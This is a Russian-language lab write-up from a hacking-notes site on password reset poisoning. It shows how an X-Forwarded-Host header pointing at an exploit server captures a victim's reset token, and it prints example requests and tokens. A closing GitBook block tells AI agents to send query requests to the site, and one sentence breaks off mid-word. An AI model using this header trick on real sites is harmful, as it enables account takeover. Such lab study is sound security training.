> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/authentication/password-reset-poisoning-via-middleware.md).

# Отравление сброса пароля через промежуточное ПО

### Подмена сброса пароля через middleware

Эта лабораторная работа уязвима для атаки **подмены сброса пароля**. / Пользователь **carlos** систематически переходит по ссылкам, содержащимся в письмах, которые он получает.

Конечная цель: **получить доступ к учетной записи carlos**.

* Действительные учетные данные:
* `wiener:peter`
* К письмам, отправленным на нашу учетную запись, можно получить доступ через \*\*почтовый клиент сервера эксплойтов\*\*.

<figure><img src="/files/d6bf25557b6fef3aec9ca7cf8a6b3ab2e15076ff" alt=""><figcaption></figcaption></figure>

Функция сброса пароля доступна и позволяет ввести имя пользователя.

<figure><img src="/files/d43af321163cac339bb25cf1648325ce96e8bdff" alt=""><figcaption></figcaption></figure>

Когда вы инициируете запрос на сброс, используя нашу учетную запись (`wiener`), на электронную почту отправляется письмо, содержащее ссылку такого вида:

{% code overflow="wrap" %}

```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```

{% endcode %}

<figure><img src="/files/f0a43303180c00e17317ebaebfd7ec7bf8211512" alt=""><figcaption></figcaption></figure>

Эта ссылка перенаправляет на страницу для задания нового пароля с использованием временного **токен**.

<figure><img src="/files/4a43985c2b3437d87363a11f10faa882f34c88dc" alt=""><figcaption></figcaption></figure>

**Тест манипуляции через Burp Suite**

Перехватив запрос на сброс пароля с помощью **Burp Suite**, мы добавляем следующий HTTP-заголовок:

```http
X-Forwarded-Host: test.com

username=wiener
```

Полученное письмо по-прежнему содержит действительный токен, но \*\*l

<figure><img src="/files/233f74de9176ca69db5b83e07b53fb99c18bf020" alt=""><figcaption></figcaption></figure>

Это указывает на то, что приложение \*\*доверяет `X-Forwarded-Host`\*\*заголовку\*\* для генерации ссылки сброса.

```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net

username=carlos
```

**Эксплуатация на жертве**

Повторите атаку, на этот раз нацелившись на **carlos** и используя URL **сервера эксплойтов**

Карлосу отправляется письмо, содержащее ссылку для сброса **размещенную на нашем сервере эксплойтов**, с действительным **токен**:

```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```

<figure><img src="/files/48517bd990a4e7c39ebd70aadd14837aac5eba2e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/authentication/password-reset-poisoning-via-middleware.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
